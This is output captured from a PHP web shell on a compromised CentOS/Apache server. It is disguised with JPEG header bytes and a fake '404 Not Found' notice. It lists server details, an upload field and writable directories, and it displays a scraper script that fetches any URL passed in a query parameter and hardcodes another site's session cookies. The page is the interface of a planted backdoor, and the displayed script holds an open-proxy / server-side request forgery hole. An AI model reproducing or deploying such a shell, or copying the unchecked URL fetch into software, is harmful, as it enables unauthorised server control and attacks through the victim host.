ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/st2/logs/curl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/st2/logs/curl/get_page_hdonline.php
<?php
if (substr_count($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip')){
    ob_start('ob_gzhandler');
}else{
    ob_start();
}
require 'src/Curl/ArrayUtil.php';
require 'src/Curl/CaseInsensitiveArray.php';
require 'src/Curl/Curl.php';
require 'src/Curl/Decoder.php';
require 'src/Curl/MultiCurl.php';
use \Curl\Curl;

// curl --request GET "https://httpbin.org/get?key=value"
$url = trim($_GET['url']);
$curl = new Curl();
$headers = array(
    'Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Encoding:gzip, deflate, sdch',
'Accept-Language:en-US,en;q=0.8',
'Cache-Control:max-age=0',
'Connection:keep-alive',
'Cookie:__cfduid=dd2e569074c87438bf34f8109402575761498466162; __gads=ID=19505a9fef015357:T=1498466166:S=ALNI_MbyJJ6HIHTiWBG18fdmKyAP9y805w; _usrp_lq=20170807; PHPSESSID=951eadc951e57e20c19f909c3afc76d2; alertMobile=Tue Jun 27 2017 09:51:29 GMT+0700 (SE Asia Standard Time); _ga=GA1.2.2121470793.1498466028; _gid=GA1.2.1354780246.1498466028; jwplayer.captionconfig={"back":false,"fontSize":20,"fontFamily":"Arial","fontOpacity":100,"color":"#FFFFFF","backgroundColor":"#000","backgroundOpacity":50,"edgeStyle":"uniform","windowColor":"#FFF","windowOpacity":0,"delayTime":0,"textShadow":"#080808","captionSecondPos":"below"}; UWatch={"14031":{"ep":"116626","add":1498466113},"14257":{"ep":"116618","add":1498467335},"14258":{"ep":"116650","add":1498467424},"14264":{"ep":"116686","add":1498532242},"14265":{"ep":"116690","add":1498533990}}',
'Host:hdonline.vn',
'Referer:http://hdonline.vn/',
'Upgrade-Insecure-Requests:1',
'User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36'
);
$curl->setOpt(CURLOPT_HTTPHEADER , $headers);
$curl->setOpt(CURLOPT_REFERER , 'http://hdonline.vn/');
$curl->setOpt(CURLOPT_COOKIEFILE , 'cookie_hdonline.txt');
$curl->setOpt(CURLOPT_COOKIEJAR , 'cookie_hdonline.txt');
$curl->setOpt(CURLOPT_RETURNTRANSFER , true);
$curl->setOpt(CURLOPT_ENCODING , "gzip");
$curl->setOpt(CURLOPT_FOLLOWLOCATION , true);
$curl->get($url);


$res = $curl->response;
$curl->close();

//gzdecode($c);

echo $res;
ob_end_flush();
exit();

?>

ZeroDay Forums Mini